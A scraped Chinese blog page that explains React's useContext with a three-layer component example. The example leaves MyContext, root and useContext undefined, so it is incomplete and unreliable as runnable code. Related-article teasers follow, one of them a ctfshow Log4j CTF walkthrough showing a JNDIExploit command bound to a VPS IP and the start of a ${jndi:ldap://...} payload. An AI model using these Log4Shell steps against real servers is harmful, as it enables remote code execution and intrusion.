4.react useContext使用与常见问题

1. 在函数组件实现跨组件通信的方式
2. 注册Context将value传递给子组件let MyContext = React.createContext('默认值');
<MyContext.Provider value={} >
let value = useContext(MyContext)

在这里插入图片描述

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><style></style><script src="../react.development.js"></script><script src="../react-dom.development.js"></script><script src="../babel.min.js"></script><script src="../lodash.min.js"></script>
</head><body><div id="app"></div><script type="text/babel">// 实现三层组件的跨组件通信let Welcome = (props) => {  return (<div>hello Welcome<MyContext.Provider value="welcome的问候~~~"><Head /></MyContext.Provider></div>);}let Head = () => {return (<div>hello Head<Title /></div>);}let Title = () => {let value = useContext(MyContext);return (<div>hello Title, { value }</div>);}let element = (<Welcome />);root.render(element);</script>
</body></html>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/80556.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JavaScript下载excel文件

文章目录 通过链接下载a标签下载方法注意 获取文件流请求体配置下载文件流 总结 通过链接下载 a标签 对于已知地址的目标文件&#xff0c;前端可以使用 a标签 来直接下载&#xff0c;使用a标签下载使用到两个属性 download&#xff1a;下载文件名href&#xff1a;目标文件下…

HBuilderX学习--运行第一个项目

HBuilderX&#xff0c;简称HX&#xff0c;是轻如编辑器、强如IDE的合体版本&#xff0c;它及轻巧、极速&#xff0c;强大的语法提示&#xff0c;提供比其他工具更优秀的vue支持大幅提升vue开发效率于一身(具体可看官方详细解释)… 一&#xff0c;HBuilderX下载安装 官网地址 …

SpringCloud Ribbon中的7种负载均衡策略

SpringCloud Ribbon中的7种负载均衡策略 Ribbon 介绍负载均衡设置7种负载均衡策略1.轮询策略2.权重策略3.随机策略4.最小连接数策略5.重试策略6.可用性敏感策略7.区域敏感策略 总结 负载均衡通器常有两种实现手段&#xff0c;一种是服务端负载均衡器&#xff0c;另一种是客户端…

Redis是如何保证高可用的?

Redis这种基于内存的关系型数据库我们在选用的时候就是考虑到它的快。而且可以很方便的实现诸如分布式锁、消息队列等功能。 笔者在前一段秋招面试的时候就被提问&#xff0c;“Redis是怎么保证高可用的&#xff1f;” 后续的子问题包含&#xff0c;集群模式是怎么实现的&…

C#与西门子PLC1500的ModbusTcp服务器通信4--搭建ModbusTcp客户端

1、客户端选择 客户端可以是一个程序或一个设备&#xff0c;这里我以C#WINFORM程序来实现客户机与PLC的Modbustcp服务器通信&#xff0c;开发环境是VS2019&#xff0c;.NET Framework版本是4.7.2 2、创建winform程序 3、引入Nmodbus4协议 找到项目&#xff0c;找到引用&…

度加剪辑App的MMKV应用优化实践

作者 | 我爱吃海米 导读 移动端开发中&#xff0c;IO密集问题在很多时候没有得到充足的重视和解决&#xff0c;贸然的把IO导致的卡顿放到异步线程&#xff0c;可能会导致真正的问题被掩盖&#xff0c;前人挖坑后人踩。其实首先要想的是&#xff0c;数据存储方式是否合理&#x…

Qt下拉菜单

1&#xff0c;QComboBox 2&#xff0c;setMenu()---设置下拉菜单 AI对话未来丨智能写作对话: setMenu()是QWidget类的一个成员函数&#xff0c;在Qt中用于将一个菜单作为一个控件的下拉菜单设置。具体来说&#xff0c;它会把相应的菜单对象与该控件关联&#xff0c;并在控件上…

【CSS 画个梯形】

使用clip-path: polygon画梯形 clip-path: polygon使用方式如下&#xff1a; 效果实现 clip-path: polygon 是CSS的属性之一&#xff0c;用于裁剪元素的形状。它可以通过定义一个具有多边形顶点坐标的值来创建一个多边形的裁剪区域&#xff0c;从而实现元素的非矩形裁剪效果。…

电路学习+硬件每日学习十个知识点(39)23.8.19 (电路模型,电感,电容)

文章目录 1.电力线路和通信线路2.实际电路的元器件3.集总参数元件&#xff08;类似于物理的质点&#xff09;4.电子电路习惯画法5.电感元件6.电容元件 1.电力线路和通信线路 电路的基本功能可分为两大类&#xff1a;一类电路进行能量的传输、分配和转换&#xff0c;如电力线路…

openresty安装与网站发布

文章目录 安装依赖下载安装包解压安装包安装启动nginx配置环境变量配置开机启动发布静态网站 OpenResty 是一个基于 Nginx 与 Lua 的高性能 Web 平台&#xff0c;其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动…

ctfshow-Log4j复现-log4j复现

1、买VPS&#xff0c;打开mobax进行ssh连接&#xff0c;开两个终端 一个终端开启监听 另一个终端进入JNDIExploit-1.2-SNAPSHOT.jar所在的目录jndiexploit执行下面命令 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 116.62.152.84生成payload 构造payload ${jndi:ldap://…

Java 项目日志实例:Log4j2

点击下方关注我&#xff0c;然后右上角点击...“设为星标”&#xff0c;就能第一时间收到更新推送啦~~~ Apache Log4j 2 是对 Log4j 的升级&#xff0c;与其前身 Log4j 1.x 相比有了显着的改进&#xff0c;并提供了许多 Logback 可用的改进&#xff0c;同时支持 JCL 以及 SLF4J…